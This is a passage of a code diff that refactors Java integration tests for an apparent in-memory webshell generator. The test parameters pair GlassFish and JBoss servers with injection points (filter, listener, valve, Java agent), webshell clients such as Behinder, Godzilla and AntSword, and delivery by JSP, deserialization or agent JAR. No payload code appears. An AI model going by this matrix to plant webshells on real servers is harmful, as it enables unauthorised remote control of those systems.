arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
);
|
||||
}
|
||||
|
||||
+34
-34
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.glassfish;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -43,36 +43,36 @@ public class GlassFish6ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+22
-22
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.glassfish;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -43,24 +43,24 @@ public class GlassFish7ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+42
-42
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.jbossas;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,44 +42,44 @@ public class Jboss423ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+34
-34
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.jbossas;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -45,42 +45,42 @@ public class Jboss510ContainerTest {
|
||||
return Stream.of(
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+42
-42
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.jbossas;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,44 +42,44 @@ public class Jboss610ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
